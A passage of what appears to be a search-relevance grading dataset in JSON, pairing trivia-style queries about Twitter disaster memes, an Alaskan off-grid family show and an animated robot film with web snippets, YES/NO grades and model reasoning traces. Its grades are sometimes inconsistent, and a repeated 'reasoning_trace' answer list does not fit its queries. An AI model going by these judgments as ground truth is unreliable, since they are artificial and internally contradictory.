                "model_trace": "Query Decomposition:\n1. {Twitter accounts}: This document is about a Twitter account -> ([1], SATISFIED)\n2. {sharing the best memes and commentary}: The document describes a bot that tweets real-time updates about California fires based on CHP reports, not memes or commentary -> ([1], UNSATISFIED)\n3. {about the recent natural disaster in the news}: The document is about California fires, which could be considered a natural disaster, but it does not specify if it's the recent one in the news -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {Twitter accounts} and {sharing the best memes and commentary} since the document does not provide enough information to evaluate the recency of the natural disaster. Since {sharing the best memes and commentary} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "\"Controversial Tweet: Some of the best accounts to follow & ...",
                "url": "https://twitter.com/VusiThembekwayo/status/1638494793876512768",
                "published_date": null,
                "text": "Controversial Tweet: \nSome of the best accounts to follow &amp; most clued-up folks on Twitter have accounts with minuscule followers. \nThis is not to say that accounts with large followings are hollow. \nBut definitely that there is no relationship between the number of followers\u2026| created_at: Wed Mar 22 10:56:15 +0000 2023 | favorite_count: 804 | quote_count: 13 | reply_count: 48 | retweet_count: 158 | is_quote_status: False | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {Twitter accounts}: The document is related to Twitter accounts -> ([1], SATISFIED)\n2. {sharing the best memes and commentary}: The document does not provide specific information about accounts sharing memes and commentary -> ([0], UNSURE)\n3. {about the recent natural disaster in the news}: The document does not mention anything about a recent natural disaster -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent related to Twitter accounts in general. It does not provide information about accounts sharing memes and commentary about a recent natural disaster. NO."
            },
            {
                "grade": "NO",
                "title": "20 Memes That Got Us through 2020",
                "url": "https://www.bu.edu/articles/2020/20-memes-that-got-us-through-2020/",
                "published_date": null,
                "text": "With this year finally coming to a close, we can all breathe a collective sigh of relief. As we look toward the new year, let\u2019s give thanks for what really got us through 2020\u2014the memes. Here\u2019s our list of 20 memes that did the trick.\n1. \u201cI am once again asking for\u2026\u201d\n \nNo matter your political leanings, this meme was one of the most entertaining of 2020. The seemingly endless different mashups that people created had us rolling all year. Some of the variations hit a little too close to home though.\u00a0\n2. Anything Tiger King \n \nYeah, we can\u2019t believe that Tiger King was released this year either. It feels like it was forever ago that our timelines were filled with Carol Baskin and Joe Exotic memes. We\u2019re just slightly ashamed that we were in Joe Exotic\u2019s one percent of fans on Spotify.\n3. Mike Pence fly\n \nWhile the election was a terrible experience, we can at least look back at some of the memes and laugh. The Vice President Pence Fly meme took the internet by storm after his debate with Vice President-Elect Kamala Harris. During the debate a fly landed on Pence\u2019s head for a solid minute\u2014so Twitter went off. And we loved every second of it.\n4. Participation trophies for everyone!\n   \n\ud83c\udfc6\ud83c\udfc6\ud83c\udfc6\n5. Silver lining of 2020?\n   \nFacts.\n6. The Last Dance \n \nSimilar to Tiger King, The Last Dance helped us get through the initial first wave in the beginning of the year. So it should come as no surprise that the internet made a bunch of memes about the documentary. You might be surprised how many things Michael Jordan took personally.\n7. Karens\n \nMaybe it\u2019s something in the air this year, but 2020 has seen a huge rise in \u201cKarens\u201d\u2014someone who acts superior and insists on seeing the manager. While Karen memes are by no means new, this year they exploded. And with all the people refusing to wear masks, there\u2019s been no shortage of Karen incidents going viral this year.\n8. Nevada\n \nWho would have ever thought we\u2019d talk about Nevada so much? With the state being particularly slow to give out election updates, the home of Las Vegas becam",
                "model_trace": "Query Decomposition:\n1. {Twitter accounts}: The document does not mention any Twitter accounts -> ([0], UNSATISFIED)\n2. {sharing the best memes}: The document lists memes but does not mention where they are shared -> ([0], UNSATISFIED)\n3. {commentary about the recent natural disaster}: The document discusses memes from 2020 and does not mention any recent natural disasters -> ([0], UNSATISFIED)\n\nAssessment: Since the document does not mention Twitter accounts, recent natural disasters, or where the memes are shared, it does not satisfy any of the relevant subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Twitter as a Potential Disaster Risk Reduction Tool. Part I",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4494697/",
                "published_date": null,
                "text": "Journal List\n \n \n \n PLoS Currents\n \n \n \n PMC4494697\n \n \n \n \n \n \n     Version 1. PLoS Curr. 2015 June 29; 7: ecurrents.dis.a7657429d6f25f02bb5253e551015f0f.   Research   Abstract Twitter, a popular communications platform, is identified as contributing to improved mortality and morbidity outcomes resulting from the 2013 Hattiesburg, Mississippi EF-4 Tornado. This study describes the methodology by which Twitter was investigated as a potential disaster risk reduction and management tool at the community level and the process by which the at-risk population was identified from the broader Twitter user population. By understanding how various factors contribute to the superspreading of messages, one can better optimize Twitter as an essential communications and risk reduction tool. This study introduces Parts II, III and IV which further define the technological and scientific knowledge base necessary for developing future competency base curriculum and content for Twitter assisted disaster management education and training at the community level.\u00a0  Keywords: Communications, Disaster risk reduction, Prevention and preparedness, Social media, Twitter   INTRODUCTION With the advent of new technologies, our ability to communicate with one another has evolved significantly. No longer are societies solely dependent on traditional media outlets, newspapers, radio, and TV for the news. With rapidly evolving smartphone technologies, societies are just an \u2018app\u2019 away from being able to deliver or receive information within milliseconds. Popular social media platforms such as Twitter, Facebook, and YouTube, have supplanted the traditional media outlets for accessing and responding to information. Every day millions of users worldwide are connected and receive their news via online social networks warranting researchers to study the mechanisms behind human interactions. 1  \n Recently, Twitter has been used for spreading news and updates around the world and has been shown to have application in emergency situations 2  of natural",
                "model_trace": "Query Decomposition:\n1. {Twitter accounts}: The document discusses Twitter as a platform but does not list specific accounts -> ([1], UNSATISFIED)\n2. {best memes and commentary}: The document focuses on Twitter's role in disaster risk reduction and management, not on sharing memes or commentary -> ([1], UNSATISFIED)\n3. {recent natural disaster}: The document references a past event (2013 Hattiesburg, Mississippi EF-4 Tornado), not a recent natural disaster -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents of the query. NO."
            }
        ]
    },
    {
        "query": "What TV show follows the adventures of a family of four who live in a remote, off-the-grid cabin in the Alaskan wilderness and must rely on their wits and survival skills to thrive?",
        "grid_pos": [
            1,
            7
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "The answers to the queries are:\n1. \"Big Hero 6\"\n2. \"Life Below Zero\"\n3. \"The Truman Show\" \n4. \"The Lord of the Rings\"\n5. \"Ammonite\""
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Discovery Press Web United States",
                "url": "https://press.discovery.com/us/dsc/programs/alaskan-bush-people/",
                "published_date": "2023-01-01",
                "text": "(Los Angeles) \u2013 Following a devastating wildfire that swept through North Star Ranch last year, the Browns return to survey the destruction. With many struggling to cope in the aftermath, father Billy inspires big, new adventure to keep the dream alive, including the hunt for gold and an epic voyage back to Alaska. But then, unthinkable tragedy strikes, and leaves the family picking up the pieces after the loss of their patriarch. The brand-new season of ALASKAN BUSH PEOPLE premieres, Sunday, September 19 at 8PM ET/PT on Discovery and streaming on discovery+. The Brown family is dedicating this season to their beloved patriarch, Billy Brown. He was a trailblazer, and the family will strive to keep his dreams and sense of adventure alive for generations to come.\nIn the weeks prior to the wildfire, the Brown family discovers gold mine entrances on unexplored areas of their land, leading siblings, Bird, Rain and Bear to explore more than 70 feet below ground. Following the wildfire that swept through the mountain, the Wolfpack returns to their homestead to assess the damage and decide if the dream they\u2019ve been building in Washington is worth carrying on. But some of the Browns struggle to push forward on their mountain home and long for life back in Alaska.\nJust as the family begins to recover from the fire, they suffer their most devastating test yet \u2013 with the loss of their revered patriarch, Billy. A father, a husband, and a hero to the pack - the loss creates a seismic shift in the Brown family as they question the will to carry on. The dream Billy fought so hard to achieve for his family \u2013 hangs in the balance.\nIn addition to watching the series on Discovery, viewers can stream past seasons of ALASKAN BUSH PEOPLE on discovery+. Viewers can join the conversation on social media by using the hashtag #AlaskanBushPeople, as well as follow Alaskan Bush People on Facebook, Instagram, and Twitter for the latest updates.\nALASKAN BUSH PEOPLE is produced for Discovery Channel by Park Slope Productions. For Park Slope, ex",
                "model_trace": "Query Decomposition:\n1. {TV show follows the adventures of a family of four}: The document describes a TV show that follows the Brown family, but it does not specify the number of family members -> ([2], UNSURE)\n2. {family lives in a remote, off-the-grid cabin in the Alaskan wilderness}: The document mentions that the family is in Alaska and lives off-the-grid, but it also mentions their homestead in Washington -> ([2], UNSURE)\n3. {family relies on their wits and survival skills to thrive}: The document describes the family dealing with survival challenges and relying on their skills -> ([1], SATISFIED)\n\nAssessment: The document provides relevant information about a TV show that matches the general theme of the query, although some details are not explicitly confirmed. The key subcomponent about survival skills is satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Digging for the reality behind 'Alaskan Bush People' claims of gunfire",
                "url": "https://www.adn.com/film-tv/article/digging-reality-behind-alaskan-bush-people-claims-gunfire/2014/06/01/",
                "published_date": "2014-06-01",
                "text": "Life in Copper River country appears to have proven too real for the stars of the \"Alaskan Bush People\" reality television show, who last week announced to viewers the need to flee their new homestead. The \"Fight or Flight\" episode, which repeats this week, starts with this message: \"The Discovery Channel was given permission to document the life of a secluded Bush family. During production, an incident occurred and filming was stopped.\" What follows explains the flight of the Browns -- Billy and Ami and seven children including Bear, Bam Bam, Snowbird and Rainy -- from their \"secluded\" cabin site in a subdivision off the Richardson Highway. The Brown family of \"Alaskan Bush People\" The crucial scene shows the family roused at night by what sounds like two gunshots fired outside. The men rush out, heavily armed, as viewed through the greenish tint of a night-vision camera. \"Then the unthinkable happens,\" a voice-over intones. A third shot is apparently fired as the men wait in the dark with the camera rolling. Spooked, the menfolk pull back to the safety of the cabin. ['Alaskan Bush People' father and son get 30 days in jail for lying about residency] \"This land is not worth dying for,\" Billy Brown, a former commercial fisherman and author, tells the camera in a scene shot later. The family leaves and eventually ends up living on a boat in Ketchikan, back where they started. A year and half after the episode filmed and the family disappeared from the homestead, it's still not clear just what happened to chase them off. A reporter's efforts to get to the bottom of the potential shootout uncovered another, stranger reality. The Alaska State Troopers say no one affiliated with \"Alaskan Bush People\" seems to have reported any shots fired. But a helicopter filming part of the show ran into another situation that was reported to the troopers. The crew told troopers that a neighbor of the Browns shot fireworks at the helicopter, forcing them away from the cabin. That's right -- a neighbor. The 5 acres of so-called Alask",
                "model_trace": "Query Decomposition:\n1. {TV show follows the adventures of a family of four}: The document mentions a TV show called \"Alaskan Bush People\" which follows the Brown family, but it does not specify that the family consists of four members -> ([2], UNSURE)\n2. {live in a remote, off-the-grid cabin in the Alaskan wilderness}: The document describes the family living in a secluded cabin in Alaska, which matches this subcomponent -> ([1], SATISFIED)\n3. {rely on their wits and survival skills to thrive}: The content implies that the family relies on their survival skills, as they are shown dealing with threats and living off the grid -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {live in a remote, off-the-grid cabin in the Alaskan wilderness} and {rely on their wits and survival skills to thrive}. Both of these subcomponents are satisfied. The document is likely helpful for identifying the TV show in question. YES."
            },
            {
                "grade": "NO",
                "title": "Is \u2018Alaskan Bush People\u2019 leaving Alaska for good?",
                "url": "https://www.adn.com/arts/film-tv/2017/08/23/is-alaskan-bush-people-leaving-alaska-for-good/",
                "published_date": "2017-08-23",
                "text": "Rain, Snowbird and Bear Brown leave Browntown for California. (Screen capture via Discovery.com) The \"Alaskan Bush People\" family may be about to become the \"Colorado Bush People.\" Since airing in 2014, \"Alaskan Bush People\" has been surrounded by controversy. First, there was the intrigue of why a family of nine (including five adult children) were still living together and speaking in strange accents. Viewers were perplexed as the show suddenly moved from Chitina to Ketchikan in the first season under mysterious circumstances involving gunshots and/or fireworks. There was something about how the Brown family never wore raincoats when it was constantly pissing rain in Southeast Alaska \u2014 or down coats in the early winter of Chitina \u2014 that just didn't line up with their origin story. The deep-voiced narrator reminded us in every episode that the family was raised \"in the wild\" of Alaska, completely outside of normal society. But as the show grew in popularity, so did the scrutiny from the media and the people of the internet. Then two of the Browns were convicted of fraud for collecting their Permanent Fund dividend checks while living outside of Alaska, really contradicting the story we were being sold. After Chitina, the Brown family decided to build Hoonah's largest suburb, Browntown (population 9), but it was debated if the Browns actually lived there full time or if it was more of a rustic set. As Browntown's skyline grew, the show became more formulaic. Almost every episode featured some combination of manufactured bear danger, one of the boys trying to woo a woman, building a new gadget to make Bush life easier (like a washing machine that you spin with a bike) and hauling something around Southeast in their boat in exchange for something else that Browns \"really needed before winter.\" The current season remains the most depressing show on TV as it deals with Ami's (mother) stage-four cancer diagnosis. The most recent episode featured the youngest Brown children \"packing up\" Browntown, seemingly leaving for",
                "model_trace": "Query Decomposition:\n1. {TV show}: The document discusses a TV show called \"Alaskan Bush People\" -> ([1], SATISFIED)\n2. {follows the adventures of a family of four}: The document mentions a family of nine, not four -> ([1], UNSATISFIED)\n3. {live in a remote, off-the-grid cabin in the Alaskan wilderness}: The document describes the family living in the wild of Alaska, completely outside of normal society -> ([2], SATISFIED)\n4. {rely on their wits and survival skills to thrive}: The document discusses the family's survival skills and their adventures in the wilderness -> ([2], SATISFIED)\n\nAssessment: The subcomponents {TV show}, {live in a remote, off-the-grid cabin in the Alaskan wilderness}, and {rely on their wits and survival skills to thrive} are satisfied. However, the subcomponent {follows the adventures of a family of four} is not satisfied as the family consists of nine members. Since the family size is a crucial part of the query, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "The 10 Wildest Reality Shows About Living Off The Grid - Screen Rant",
                "url": "https://screenrant.com/wildest-reality-shows-living-off-the-grid/",
                "published_date": null,
                "text": "Summary\n  Survival shows about living off the grid have become popular due to shows like Survivor and the dream of leaving city life behind.   Reality shows about off-grid living highlight the challenges of surviving in unpredictable elements and the emotional toll it takes on relationships and families.   The best reality TV shows about living off the grid focus on different aspects such as dating off-grid, helping hopeful homesteaders, showcasing unique family dynamics, historical accuracy, wilderness living, remote environments, indigenous communities, family and community, luxurious off-grid homes, and testing out the off-grid lifestyle.  \nSurvival shows are popular, and these are the ten best reality TV shows about living off the grid. Shows about survivalism, like  Running Wild With Bear Grylls , have become increasingly popular over the last decade due to sensationalized shows such as  Survivor. The dream of leaving chaotic city life behind and living sustainably on a remote homestead may sound peaceful, but the realities of an off-grid lifestyle prove too harsh for many.\nWhether it's the frigid temperatures or the challenges of being in uncomfortably close quarters with family, reality shows about off-grid living highlight how wild surviving in unpredictable elements, with no help from the outside world, can be. While many shows romanticizing life off the grid are available, here are the ten best.\n Love Off The Grid \n   \n  Love Off The Grid  is a reality dating series premiered on Discovery+ in 2022. The show features people who have made comfortable lives for themselves off-grid but whose partners are used to big-city living. The series tests the limits of love for four couples struggling to merge their dissimilar lifestyles.\n Love Off The Grid is different from many other off-grid shows because it focuses heavily on the inner workings of the couples' relationships rather than on specific survival skills. The show highlights the emotional toll, and sometimes the drama, that comes with embracing love in a",
                "model_trace": "Query Decomposition:\n1. {TV show follows the adventures of a family of four}: This document mentions multiple reality TV shows about living off the grid but does not specify any show about a family of four -> ([1], UNSATISFIED)\n2. {live in a remote, off-the-grid cabin in the Alaskan wilderness}: The document mentions shows about living off the grid but does not specify any show set in the Alaskan wilderness -> ([1], UNSATISFIED)\n3. {rely on their wits and survival skills to thrive}: The document mentions survival shows but does not specify any show with the exact premise described -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents of the query. It provides general information about various off-grid reality shows but does not identify a specific show that matches the detailed description given in the query. NO."
            },
            {
                "grade": "NO",
                "title": "\u201cInto The Wild\u201d by Jon Krakauer | Stuff Jeff Reads - WordPress.com",
                "url": "https://stuffjeffreads.wordpress.com/2014/12/27/into-the-wild-by-jon-krakauer/",
                "published_date": null,
                "text": "December 27, 2014 \u00b7 8:17 am\t\n\t\n\t\n\t\t   \nThis book has been on my list of books to read for quite a long time. I finally got around to it. For those who do not know the premise of the book, it is the true story of Chris McCandless, a young man who decided to journey into the wilderness of Alaska alone and ended up dying of starvation. It\u2019s a powerful story and extremely well-written. I found it difficult to put down.\nIn the book, Krakauer uses journal entries, letters, photos, and interviews to piece together the events of Chris\u2019 odyssey into the wild, which he undertook immediately upon graduating college and did not inform his friends or family about. He basically severed his ties to society and decided to live on the fringe. In a letter he wrote to Ron Franz, a person he met while traveling, he expresses his belief in the importance of living an adventurous life.\n I\u2019d like to repeat the advice I gave you before, in that I think you really should make a radical change in your lifestyle and begin to boldly do things which you may previously never have thought of doing, or been too hesitant to attempt. So many people live within unhappy circumstances and yet will not take the initiative to change their situation because they are conditioned to a life of security, conformity, and conservatism, all of which may appear to give one peace of mind, but in reality nothing is more damaging to the adventurous spirit within a man than a secure future. The basic core of a man\u2019s living spirit is his passion for adventure. The joy of life comes from our encounters with new experiences, and hence there is no greater joy than to have an endlessly changing horizon, for each day to have a new and different sun. If you want to get more out of life, Ron, you must lose your inclination for monotonous security and adopt a helter-skelter style of life that will at first appear to you to be crazy. But once you become accustomed to such a life you will see its full meaning and its incredible beauty.\n(pp. 56 \u2013 57)\nThroughout the book, Krak",
                "model_trace": "Query Decomposition:\n1. {TV show}: This document is about a book, not a TV show -> ([1], UNSATISFIED)\n2. {follows the adventures of a family of four}: The document mentions a single individual, Chris McCandless, not a family of four -> ([1], UNSATISFIED)\n3. {live in a remote, off-the-grid cabin in the Alaskan wilderness}: The document does mention the Alaskan wilderness, but it is about a solitary journey, not a family living in a cabin -> ([2], UNSATISFIED)\n4. {rely on their wits and survival skills to thrive}: The document does talk about survival skills, but again, it's about an individual, not a family -> ([2], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents related to the query. NO."
            },
            {
                "grade": "YES",
                "title": "Alaska Reality TV Shows | Alaskan Wilderness Survival - Alaska Tours",
                "url": "https://alaskatours.com/alaska-stories/alaska-reality-tv-survival-skills/",
                "published_date": null,
                "text": "Alaska Reality TV: Survival of the Fittest in Alaskan Wilderness \nAlaska is a welcoming place of wonder and warm memories for visitors and residents alike. But Alaska can also be dangerous, and even deadly, for those who live in, or decide to test themselves against, its harsh natural environment. That lore and lure of life or death off the grid has become a TV ratings thrill ride thanks to a variety of Alaska reality television shows about adventure, survival and competition in Alaskan wilderness. The beautiful but hostile Alaskan landscapes and perilous scenarios of hunger, extreme weather, isolation and desperation push people to their best and worst, and even to their respective brinks. Even the Alaska production crews face the challenges of working in the wild, far from daily comforts and even electricity.\n Current Reality TV Series Featuring Alaska \n  Life Below Zero  (2013-present, more than 100 episodes) is the biggest hit of the genre, focusing on real Alaskans who lead semi-subsistence and survivalist lifestyles in remote regions of Alaska. Sue Aikens is the longtime star, a tough, sharp-tongued 50-something who lives alone along the Kavik River deep in the unforgiving Arctic. She\u2019s a bear attack survivor and showbiz wiz, having appeared in other Alaska reality shows before Life Below Zero. She maintains social media accounts and operates her Kavik River Camp for visitors seeking her extreme Alaska experience. Other stars include the Hailstone family, who live in Noorvik, where matriarch Agnes has roots dating back generations; the Salitans, who operate a lodge in Iliamna; and others, including a few mushers, a few couples, and lots of loners, all with diverse backgrounds and all who yearn for quiet, distant places, independence and subsistence lifestyles.\n  The Last Alaskans  (2015-present, 24 episodes) takes rural existence and survival even deeper into the Alaska wild, following families and individuals living in the vast and sometimes vicious, beautiful but often brutal Arctic National Wildlife Refu",
                "model_trace": "Query Decomposition:\n1. {TV show}: The document lists TV shows -> ([1], SATISFIED)\n2. {follows the adventures of a family of four}: The document mentions families and individuals but does not specify a family of four -> ([0], UNSURE)\n3. {live in a remote, off-the-grid cabin in the Alaskan wilderness}: The document mentions remote, off-the-grid living in the Alaskan wilderness -> ([1], SATISFIED)\n4. {must rely on their wits and survival skills to thrive}: The document describes survivalist lifestyles and reliance on survival skills -> ([1], SATISFIED)\n\nAssessment: The document provides information about TV shows that feature survivalist lifestyles in remote Alaskan wilderness, which aligns with the user's query. The specific detail about a family of four is not addressed, but this does not affect the overall relevance since the other key subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "What animated movie features a young girl who befriends a giant robot and has to stop an evil corporation from destroying her home city?",
        "grid_pos": [
            1,
            7
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "The answers to the queries are:\n1. \"Big Hero 6\"\n2. \"Life Below Zero\"\n3. \"The Truman Show\" \n4. \"The Lord of the Rings\"\n5. \"Ammonite\""
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Wreck-It Ralph (2012) - IMDb",
                "url": "https://www.imdb.com/title/tt1772341/",
                "published_date": "2012-11-02",
                "text": "Side note: The animated short Paper Man was very good. The animation was a unique blend of CGI but made to look like hand drawn animation. The only slight issue I had with it is that the short got crazy at the end and became unbelievable. Still cute. Being a gamer, I decided to go to this movie. I knew the movie was going to be good, but I didn't expect it to be really good. The action, humor, voice-acting, plot, and animation are all great. Since this movie is aimed towards gamers, I feel like a lot of the cameos and jokes are going to fly over most people's heads, such as \"All your base are belong to us\" written on a subway wall or \"Leroy Jenkins was here\". Thankfully, the movie doesn't rely on cameos to be successful. The animation in Wreck-It Ralph is very beautiful, and is great at expressing the video game world. I did not see it in 3D, but just from watching it in 2D I can tell that this movie would look amazing in 3D. The animators did really good in this movie because each video game world looks vastly different from another. Each world feels like an actual video game that I've played. If there is one problem that I can pick out in this movie (and many others have noted this as well) is that the plot focuses on the Sugar Rush world a bit too much. Most of the other worlds are revealed at the beginning mainly for the sake of reference, with only a few actually being important. The humor in Wreck-It Ralph is good because it hits a very large audience. A lot of the cameos and jokes are related to video games but there are also a lot of movie references as well, puns, slapstick jokes, and some crude humor. Some people complained at the crude humor but honestly it didn't bother me because it was coming from a character who looks like she is five, so it actually made sense. The interesting thing about Wreck-It Ralph's plot is that it has very little to do with an external conflict, but more with an internal one (which is a pun in itself because they are inside of video games). There is a main bad guy, and a hu",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: This document is about an animated movie -> ([1], SATISFIED)\n2. {Features a young girl who befriends a giant robot}: The document does not mention a young girl or a giant robot -> ([0], UNSURE)\n3. {Has to stop an evil corporation from destroying her home city}: The document does not mention an evil corporation or the destruction of a home city -> ([0], UNSURE)\n\nAssessment: The document mentions an animated movie but does not provide any information about the specific plot elements required by the query. Therefore, it does not satisfy the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "The Mitchells vs the Machines (2021) - IMDb",
                "url": "https://www.imdb.com/title/tt7979580/",
                "published_date": "2021-04-30",
                "text": "Cast & crew User reviews Trivia 20212021 PGPG 1h 54m A quirky, dysfunctional family's road trip is upended when they find themselves in the middle of the robot apocalypse and suddenly become humanity's unlikeliest last hope.A quirky, dysfunctional family's road trip is upended when they find themselves in the middle of the robot apocalypse and suddenly become humanity's unlikeliest last hope.A quirky, dysfunctional family's road trip is upended when they find themselves in the middle of the robot apocalypse and suddenly become humanity's unlikeliest last hope. See production, box office & company info 836User reviews 229Critic reviews 81Metascore See more at IMDbPro Videos41 More like this Review Puts almost every other recent animated film to shame in ambition and execution No amount of behind-the-scenes cinematic team-ups in recent years can compare to the overwhelming power that the guys behind Gravity Falls (Michael Rianda and Jeff Rowe) and Spider-Verse (Phil Lord and Chris Miller) have when you put their creative minds together on a singular project. This is an amazingly fun movie from start to finish, benefited by some brilliantly stylized CGI that continues the trend that Spider-Verse started but taken a few steps further with some added medium blending that very much blew my mind. It also helps that 92% of the jokes land right on target. Did I mention that it also has a disarmingly astute emotional core? Honestly, at this rate Sony Pictures Animation may be beating Disney and Pixar at their own game. pugpool10 Apr 30, 2021 FAQ4 Contribute to this page Suggest an edit or add missing content What is the Canadian French language plot outline for The Mitchells vs the Machines (2021)? Answer More to explore",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document is about an animated movie -> ([1], SATISFIED)\n2. {Features a young girl}: The document does not mention a young girl as a main character -> ([0], UNSURE)\n3. {Befriends a giant robot}: The document does not mention befriending a giant robot -> ([0], UNSURE)\n4. {Stops an evil corporation from destroying her home city}: The document mentions a family stopping a robot apocalypse but does not mention an evil corporation or a home city -> ([2], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to the specific plot elements of the query. NO."
            },
            {
                "grade": "NO",
                "title": "The Mitchells vs. The Machines | Official Trailer | Sony Animation",
                "url": "https://www.youtube.com/watch?v=yyjsyedJtZs&feature=youtu.be",
                "published_date": "2021-04-26",
                "text": "Watch the trailer for The Mitchells vs. The Machines before the movie comes out on Netflix THIS FRIDAY!\n\nA quirky, dysfunctional family's road trip is upended when they find themselves in the middle of the robot apocalypse and suddenly become humanity\u2019s unlikeliest last hope!\n\nDirected by Michael Rianda (Gravity Falls), produced by Oscar winners Phil Lord and Chris Miller, and Kurt Albrecht, and featuring the voices of Abbi Jacobson, Danny McBride, Maya Rudolph, Beck Bennett, Fred Armisen, Eric Andre, and Oscar winner Olivia Colman, The Mitchells vs. The Machines is about embracing the things that make us unique, learning what it means to be human in a world increasingly filled with technology, and holding tight to the people most important to you when the unexpected hits.\n\nWatch The Mitchells vs. The Machines on Netflix April 30.\n\nFollow The Mitchells:\nhttps://twitter.com/mitchellsmovie\nhttps://www.instagram.com/mitchellsvsmachines/\nhttps://www.facebook.com/MitchellsVsMachines/\n| view_count: 608,109 views | short_view_count: 608K views | num_likes: 7.9K | num_subscribers: 912K",
                "model_trace": "Query Decomposition:\n1. {animated movie}: This document is about an animated movie -> ([1], SATISFIED)\n2. {features a young girl who befriends a giant robot}: The document does not mention a young girl befriending a giant robot -> ([0], UNSURE)\n3. {has to stop an evil corporation from destroying her home city}: The document does not mention stopping an evil corporation from destroying a home city -> ([0], UNSURE)\n\nAssessment: The only subcomponent tagged with [1] is {animated movie}, which is satisfied. However, the key elements of the plot involving a young girl, a giant robot, and an evil corporation are not addressed or inferred in the document. Therefore, the document does not fully align with the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "10 Best Animated Movies With A Robot Protagonist",
                "url": "https://screenrant.com/best-animated-movies-robot-protagonists/",
                "published_date": null,
                "text": "As technology continues to advance over time, the film industry is quick to reflect those advancements in the best way they know how: by making movies featuring robots. While some of the robots creative filmmakers invent have villainous tendencies, there are many others that bond with humans and end up saving the day.\n    \n    \n    \n                    From recent flicks such as\u00a0 The Mitchells vs. The Machines\u00a0to classics like\u00a0 The Iron Giant, there's hope that something other than evil can come from androids with artificial intelligence.\n    \n    \n                        The Mitchells Vs. The Machines (2021)\n                \n            Stream On Netflix\n    \n                \n    \n    \n    \n                \n    \n                \n        \n                                                            \n                                                                                                                        \n                            \n    \n            \n        \n                                    \n    \n        \n                    In  The Mitchells Vs. The Machines , Katie Mitchell finds herself on a family road trip, with her dad planning one last chance to bond with her before dropping her off at film school in California. During their trip, a robot apocalypse breaks out led by PAL, who orders all robots to launch every human\u00a0into space. Two hilarious malfunctioning robots called Eric and Debrahbot 5000 join forces with the Mitchells to defeat PAL after accidentally revealing there's a\u00a0kill code they can upload that will put a stop to the uprising. The robots become like family to the Mitchells, calling Linda their mom and even accompanying Katie to Washington D.C. where she accepts the Congressional Gold Medal after saving the world.\n    \n    \n                        Ron's Gone Wrong (2021)\n                \n            Stream On Disney+ and HBOMax\n    \n                \n    \n    \n    \n                \n    \n                \n        \n                                                            \n        ",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document lists animated movies -> ([1], SATISFIED)\n2. {features a young girl who befriends a giant robot}: The document lists movies with robot protagonists, but it is unclear if any feature a young girl befriending a giant robot -> ([2], UNSURE)\n3. {and has to stop an evil corporation from destroying her home city}: The document does not provide enough detail to determine if any movie involves stopping an evil corporation from destroying a home city -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about listing animated movies with robot protagonists. However, it is unclear if it specifically addresses the other subcomponents about a young girl befriending a giant robot and stopping an evil corporation. Therefore, the document does not fully meet the user's query.\n\nNO"
            },
            {
                "grade": "NO",
                "title": "Sky City dystopian film, similar to Alita: young female robot ...",
                "url": "https://scifi.stackexchange.com/questions/208046/sky-city-dystopian-film-similar-to-alita-young-female-robot-befriends-scavenge",
                "published_date": null,
                "text": "The film I need help finding is set in a dystopian future where humans coexist with cyborgs/robots. The protagonist is a young female who gets dumped down the trash chute and falls to ground level where the entire city is covered with parts and trash. When she lands an old man finds her and repairs her broken parts. When she wakes she finds herself among a group of scavengers who become her friends. One of the scavengers takes a liking to her and they fall in love.\nLater she discovers that she is from the sky city and wants revenge for what they did to her. The scavengers take her out of the city to see the old war relics and she discovers she was a warrior in a previous life. \nThat\u2019s all I can remember so far and recently I went to see Alita. The movie was basically a 1:1 of the film I\u2019m describing. I even went as far as watching the original Alita and still it wasn\u2019t it. \n \n \n \n \n \n \n \n    \n \n \n  DavidW  99.6k24 gold badges427 silver badges535 bronze badges\n \n \n \n \n asked Mar 28, 2019 at 6:30\n \n \n    \n \n \n \n \n 6\n \n \n \n \n \n \n \n \nIs it possible that you're remembering seeing the original video adaptation from 1993?\nI have yet to watch the 2019 production - but I enjoyed the 1993 anime quite a bit, and so have been looking forward to the new movie. From what I understand, while there was extra backstory added to some of the main of the main characters, and some of the characters were changed - the main beats of the story were kept intact.\n   \n \n \n \n answered Mar 28, 2019 at 7:31\n \n \n    \n \n \n  HorusKolHorusKol 45.4k9 gold badges139 silver badges197 bronze badges\n \n \n \n 2",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document discusses a film but does not specify if it is animated -> ([2], UNSURE)\n2. {features a young girl who befriends a giant robot}: The document mentions a young female protagonist but does not mention her befriending a giant robot -> ([2], UNSATISFIED)\n3. {has to stop an evil corporation from destroying her home city}: The document does not mention stopping an evil corporation or saving a home city -> ([2], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents about the protagonist befriending a giant robot or stopping an evil corporation. NO."
            },
            {
                "grade": "NO",
                "title": "The Iron Giant (1999)",
                "url": "https://unshavedmouse.com/2016/09/22/the-iron-giant-1999/",
                "published_date": null,
